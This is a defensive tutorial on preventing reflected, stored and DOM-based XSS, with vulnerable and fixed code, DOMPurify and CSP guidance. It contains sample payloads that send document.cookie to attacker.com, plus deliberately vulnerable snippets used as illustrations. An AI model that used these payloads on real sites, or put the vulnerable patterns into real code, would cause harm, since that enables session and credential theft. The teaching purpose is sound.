XSS Prevention: Reflected, Stored, and DOM-Based XSS Explained
A complete guide to the three XSS types with code examples, how React auto-escaping works, innerHTML dangers, DOMPurify integration, and CSP as defense-in-depth.
XSS Prevention: Reflected, Stored, and DOM-Based XSS Explained
Cross-site scripting (XSS) remains one of the most exploited vulnerability classes, appearing in OWASP Top 10 lists for two decades. At its core, XSS occurs when an application includes untrusted data in a web page without proper sanitization, allowing an attacker to execute arbitrary JavaScript in a victim's browser. Understanding the three distinct types — and the different defenses each requires — is essential for building secure web applications.
Type 1: Reflected XSS
Reflected XSS occurs when user-supplied data is immediately returned in the server's response without being stored. The malicious script "reflects" off the server back to the victim's browser. It typically arrives via a crafted URL:
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
A vulnerable PHP example:
// Vulnerable — reflects query parameter without escaping
echo "Search results for: " . $_GET['q'];
The attacker tricks a victim into clicking this URL (via phishing, a short URL, or a redirect). The victim's browser executes the script in the context of example.com, giving the attacker access to cookies, localStorage, and the DOM.
Server-side fix — always HTML-encode output:
echo "Search results for: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
In Node.js/Express:
import he from 'he';
app.get('/search', (req, res) => {
const query = he.encode(req.query.q ?? '');
res.send(`Search results for: ${query}`);
});
Type 2: Stored XSS
Stored (persistent) XSS is more dangerous: the attacker's payload is stored in the database and served to every user who views the affected content. A comment, forum post, profile bio, or product review that stores and renders HTML without sanitization is a stored XSS vector.
// Vulnerable — stores and renders user input as HTML
app.post('/comments', async (req, res) => {
await db.comments.insert({ body: req.body.comment }); // Stores raw HTML
});
// Vulnerable rendering
const comments = await db.comments.findAll();
res.send(comments.map(c => `<div>${c.body}</div>`).join(''));
An attacker posts:
<img src="x" onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
This payload executes for every user who views that page.
Fix — sanitize on input and escape on output:
import DOMPurify from 'isomorphic-dompurify';
app.post('/comments', async (req, res) => {
const sanitized = DOMPurify.sanitize(req.body.comment, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
await db.comments.insert({ body: sanitized });
});
The principle: sanitize rich-text HTML before storing it. For plain text (no HTML needed), strip all tags and store as plain text, then HTML-encode on output.
Type 3: DOM-Based XSS
DOM-based XSS never reaches the server at all. The attack payload is processed entirely client-side by JavaScript reading from an attacker-controlled source (URL fragment, document.referrer, window.name, postMessage) and writing it into a dangerous sink (innerHTML, eval, document.write).
// Vulnerable — reads from URL fragment and writes to innerHTML
const fragment = window.location.hash.slice(1); // e.g., #<img onerror=alert(1) src=x>
document.getElementById('content').innerHTML = fragment; // XSS!
The URL https://example.com/page#<img onerror=alert(document.cookie) src=x> exploits this without the server ever seeing the fragment.
DOM XSS is particularly tricky because:
- It does not appear in server logs
- Traditional web proxies may not intercept it
- Static analysis tools often miss it
Fix — use safe DOM APIs:
// Safe alternatives to innerHTML
const fragment = window.location.hash.slice(1);
// Safe — sets text only, no HTML interpretation
document.getElementById('content').textContent = fragment;
// Safe — createElement then append
const p = document.createElement('p');
p.textContent = fragment;
document.getElementById('content').appendChild(p);
// If you must render HTML from a source, sanitize first
document.getElementById('content').innerHTML = DOMPurify.sanitize(fragment);
React's Auto-Escaping and Its Limits
React escapes all string values by default when rendering via JSX. Any string you place in a JSX expression is HTML-entity-encoded before being written to the DOM:
// Safe — React encodes this automatically
const userInput = '<script>alert(1)</script>';
return <div>{userInput}</div>;
// Renders as: <script>alert(1)</script>
This auto-escaping prevents the vast majority of XSS in React applications. However, there are explicit escape hatches that bypass it:
// DANGEROUS — bypasses React's escaping
const userInput = '<img onerror="alert(1)" src="x">';
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
dangerouslySetInnerHTML exists for legitimate use cases (rendering server-generated HTML, rich text content). When you use it, you take responsibility for sanitization:
import DOMPurify from 'dompurify';
function SafeRichText({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Other React XSS vectors to watch:
// Dangerous — href can be javascript: URL
const url = 'javascript:alert(1)';
return <a href={url}>Click me</a>; // XSS!
// Safe — validate URL scheme
function SafeLink({ href, children }: { href: string; children: React.ReactNode }) {
const isSafe = href.startsWith('https://') || href.startsWith('/');
return isSafe ? <a href={href}>{children}</a> : <span>{children}</span>;
}
DOMPurify: The Gold Standard for HTML Sanitization
DOMPurify is the most widely used and audited HTML sanitizer for JavaScript. Use it whenever you need to render HTML from untrusted sources:
import DOMPurify from 'dompurify';
// Basic sanitization — removes all JavaScript
const clean = DOMPurify.sanitize(dirtyHTML);
// Restrict to specific tags and attributes
const clean = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['p', 'br', 'b', 'i', 'em', 'strong', 'ul', 'ol', 'li', 'a'],
ALLOWED_ATTR: ['href', 'target'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
});
// For server-side use (Node.js)
import { JSDOM } from 'jsdom';
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
DOMPurify is maintained by security professionals and has a strong track record. Do not write your own HTML sanitizer — the attack surface is too complex.
Content Security Policy as Defense-in-Depth
Even with proper output encoding and sanitization, CSP provides a last line of defense. A strict CSP prevents inline script execution, which is what most XSS payloads rely on:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';
This policy allows scripts only from the same origin, blocking injected inline <script> tags and javascript: URLs. XSS payloads that rely on inline script execution are blocked even if they bypass sanitization.
For applications that need inline scripts (React with SSR, Next.js), use nonces:
Content-Security-Policy: script-src 'nonce-RANDOM_VALUE_PER_REQUEST' 'strict-dynamic';
Only scripts with the matching nonce attribute execute. Injected scripts (which cannot know the per-request nonce) are blocked.
Summary: Defense Strategy by XSS Type
- Reflected XSS: HTML-encode all user input before including it in responses. Use server-side template engines that auto-escape by default.
- Stored XSS: Sanitize HTML with DOMPurify before storage. For plain text, strip all tags. HTML-encode on output regardless.
- DOM XSS: Use
textContentinstead ofinnerHTML. Validate and sanitize any URL fragment or external data before writing to the DOM. - React: Avoid
dangerouslySetInnerHTML. When necessary, wrap in aDOMPurify.sanitize()call. Validatehrefvalues forjavascript:schemes. - Defense-in-depth: Deploy a strict Content Security Policy that blocks inline script execution.